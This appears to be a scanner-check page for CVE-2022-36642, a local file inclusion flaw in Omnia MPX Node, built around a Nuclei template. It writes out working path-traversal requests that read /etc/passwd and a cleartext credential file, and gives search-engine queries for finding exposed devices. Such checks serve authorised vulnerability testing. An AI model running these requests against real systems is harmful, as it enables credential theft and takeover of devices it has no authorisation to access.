Omnia MPX 1.5.0+r1 - Local File Inclusion

criticalseverity

9.8CVSS score

13.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Telos Alliance Omnia MPX Node through 1.5.0+r1 is vulnerable to local file inclusion via logs/downloadMainLog. By retrieving userDB.json allows an attacker to retrieve cleartext credentials and escalate privileges via the control panel.

Impact

Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of Omnia MPX.

How to confirm it

Send: GET {{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd ; GET {{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json
Positive when: contains "\"username\":" and "\"password\":" and "\"mustChangePwd\":" and "\"roleUser\":" OR matches /root:[x*]:0:0/

Run it with nuclei: nuclei -id CVE-2022-36642 -u <target>

The full check

id: CVE-2022-36642

info:
  name: Omnia MPX 1.5.0+r1 - Local File Inclusion
  author: arafatansari,ritikchaddha,For3stCo1d
  severity: critical
  description: |
    Telos Alliance Omnia MPX Node through 1.5.0+r1 is vulnerable to local file inclusion via logs/downloadMainLog. By retrieving userDB.json allows an attacker to retrieve cleartext credentials and escalate privileges via the control panel.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Omnia MPX.
  reference:
    - https://www.exploit-db.com/exploits/50996
    - https://cyber-guy.gitbook.io/cyber-guy/pocs/omnia-node-mpx-auth-bypass-via-lfd
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36642
    - https://www.telosalliance.com/radio-processing/audio-interfaces/omnia-mpx-node
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36642
    cwe-id: CWE-862
    epss-score: 0.13148
    epss-percentile: 0.96393
    cpe: cpe:2.3:o:telosalliance:omnia_mpx_node_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telosalliance
    product: omnia_mpx_node_firmware
    shodan-query:
      - http.title:"Omnia MPX Node | Login"
      - http.title:"omnia mpx node | login"
    fofa-query: title="omnia mpx node | login"
    google-query: intitle:"omnia mpx node | login"
  tags: cve,cve2022,traversal,omnia,edb,lfi,telosalliance,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd"
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"password":'
          - '"mustChangePwd":'
          - '"roleUser":'
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0"

References

Use this check only on systems you are authorised to test. Where the data comes from